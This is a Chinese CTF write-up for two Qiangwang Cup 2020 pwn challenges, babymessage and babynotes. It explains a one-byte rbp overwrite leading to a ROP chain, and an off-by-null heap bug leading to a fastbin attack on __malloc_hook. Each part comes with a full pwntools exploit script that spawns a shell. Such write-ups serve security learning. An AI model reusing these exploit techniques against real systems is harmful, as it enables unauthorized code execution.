强网杯2020初赛

write up

Posted by X1ng on August 25, 2020

就做了两个强网先锋的pwn。。or2

babymessage

例行检查

主要函数

往v3处写入字符,如果写入字符数大于0x8,就会覆盖rbp;如果大于0x10,就会覆盖返回地址

由于变量储存在栈上,汇编里用[rbp+偏移]来表示

下图是ida中调用leave_message时的汇编代码

在首次输入message时,v1在开始赋值后被保存在[rbp-0x4]的位置,为0x10

如果我们在输入message时正好输入8个字符,覆盖rbp一个字节,在leave_message函数返回时执行

leave
ret

以上指令就能将返回main函数后rbp改变

所以下次执行leave_massage函数的时候,[rbp-4]地址改变,参数的值也发生了改变

所以第二次调用就可以写入0x100的字节,rop就完事了

最后还有一个坑,在执行system函数的时候rsp需要0x10对齐,所以在rop链上加上一个ret的gadget来控制rsp

exp:

#!/usr/bin/env python2

# -*- coding: utf-8 -*-

from pwn import *
context.log_level = 'debug'

elf=ELF('./babymessage')
libc=ELF("./libc-2.27.so")


def pwn():
	
	poprdi=0x0000000000400ac3
	puts=elf.plt['puts']
	puts_got=elf.got['puts']

	p.recvuntil('choice: \n')
	p.sendline('2')
	p.recvuntil('message:')
	p.sendline('aaaaaaaa')

	p.recvuntil('choice:')
	p.sendline('2')
	p.recvuntil('message:')
	
	payload = 'b'*0x10+p64(poprdi)+p64(puts_got)+p64(puts)
	payload += p64(0x4006E0)
	p.sendline(payload)
	
	p.recvline()
	p.recvline()
	p.recvline()
	puts=u64(p.recv(6).ljust(8,'\x00'))
	print hex(puts)

	libcbase=puts-libc.sym['puts']
	system_addr=libcbase+libc.sym['system']
	bin_sh=libcbase+libc.search("/bin/sh\x00").next()

	p.recvuntil('choice: \n')
	p.sendline('2')
	p.recvuntil('message:')
	p.sendline('c'*8)
	
	p.recvuntil('choice:')
	p.sendline('2')
	p.recvuntil('message:')
  
	ret = 0x0000000000400646
	payload = 'd'*16+p64(poprdi)+p64(bin_sh)+p64(ret)+p64(system_addr)
	p.sendline(payload)
	

	p.interactive()
	

babynotes

主要函数

regist函数调用了strcpy,输入0x18个字节并且age输入0即可造成off-by-null漏洞

申请chunk时没有清空chunk内存,shownote函数可以泄露main_arena,进而泄露libc

存放name的chunk的指针、存放motto的chunk的指针、存放notes的chunk的指针和size都存放在bss段(chunk指针在size之前)

结构如下图所示

deletenote函数使用int类型作为free下标,并且以存放size的数组作为是否释放的依据(释放后只有存放size的数组对应单元清零),只要第四、第五个chunk存在,就可以delete(-1)将存放name和motto的chunk释放掉

先通过unsorted bin泄露main_arena+88,计算lib基址

然后可以将0x18大小的chunk1放在fastbin中,在chunk1之后再申请一个0xf0大小的chunk2,这样就会得到一个size为0x100的chunk2,执行reset,这样下次申请 存放name的chunk 的时候,就会申请到fastbin中这个chunk1,此时chunk2的size位应该为0x101

溢出后又变为0x100,表示chunk2的前一个物理相邻的chunk1是free状态

之后要先申请下标为5的chunk,然后释放存放name的chunk,将其重新申请存放到正常chunk指针数组中

释放掉chunk1往上的chunk,再往chunk1中填充chunk2的priv_size为chunk2之上两个chunk的大小

然后释放chunk2,让chunk1向后合并构造overlap

就可以随意更改这块chunk所在内存的内容,由于free_hook、malloc_hook前面只有0x7f这样的字节能够作为size绕过fastbin的检查,所以将 存放name的chunk 的chunksize改为0x7f

放进fastbin之后就是fastbin attack 一把梭了

exp:

#!/usr/bin/env python2

# -*- coding: utf-8 -*-

from pwn import *
context.log_level='debug'

p = process('./notes')
#p = remote("123.56.170.202 ",  43121)


libc = ELF('libc-2.23.so')
def add(idx, size):
	p.recvuntil('>> ')
	p.sendline('1')
	p.recvuntil('index:')
	p.sendline(str(idx))
	p.recvuntil('size:')
	p.sendline(str(size))

def show(idx):
	p.recvuntil('CNote')
	p.recvuntil(' > ')
	p.sendline('3')
	p.recvuntil(' > ')
	p.sendline(str(idx))

def delete(idx):
	p.recvuntil('>> ')
	p.sendline('3')
	p.recvuntil('index:')
	p.sendline(str(idx))
	
def edit(idx,content):
	p.recvuntil('>> ')
	p.sendline('4')
	p.recvuntil('index')
	p.sendline(str(idx))
	p.recvuntil('note:')
	p.sendline(content)

p.recvuntil('name:')
p.sendline('aaa')
p.recvuntil('motto:')
p.sendline('bbb')
p.recvuntil('age:')
p.sendline('1')


add(0,0x90) #leak

add(1,0x18) #name

delete(0)
add(0,0x90)

p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('index')
p.sendline('0')
p.recvuntil('Note 0: ')
ma = u64(p.recv(6).ljust(8,'\x00'))
libc_base = ma - 0x3c4b78
one = libc_base + 0xf1207
malloc_hook=libc_base+libc.symbols['__malloc_hook']
print 'malloc_hook = '+str(hex(malloc_hook))

add(2,0xf0) 
add(5,0x10)
delete(0)
delete(1)

p.recvuntil('>> ')
p.sendline('5')
p.recvuntil('name:')
p.send('a'*8+'b'*8+'d'*8)
p.recvuntil('motto:')
p.sendline('ccc')
p.recvuntil('age:')
p.sendline('0')

delete(-1)
add(1,0x18)
edit(1,'\x01'*0x10+p64(0xa0+0x20))
delete(2)

add(0,0xb0)
add(2,0x40)
edit(0,'a'*0x90+'\x00'*8+p64(0x71))

delete(1)
edit(0,'a'*0x90+'\x00'*8+p64(0x71)+p64(malloc_hook-0x23))
#gdb.attach(p,'b *0x400F62')

add(1,0x60)
add(3,0x60)


pd='\x00'*0x13+p64(one)
edit(3,pd)
add(4,0x60)
p.interactive()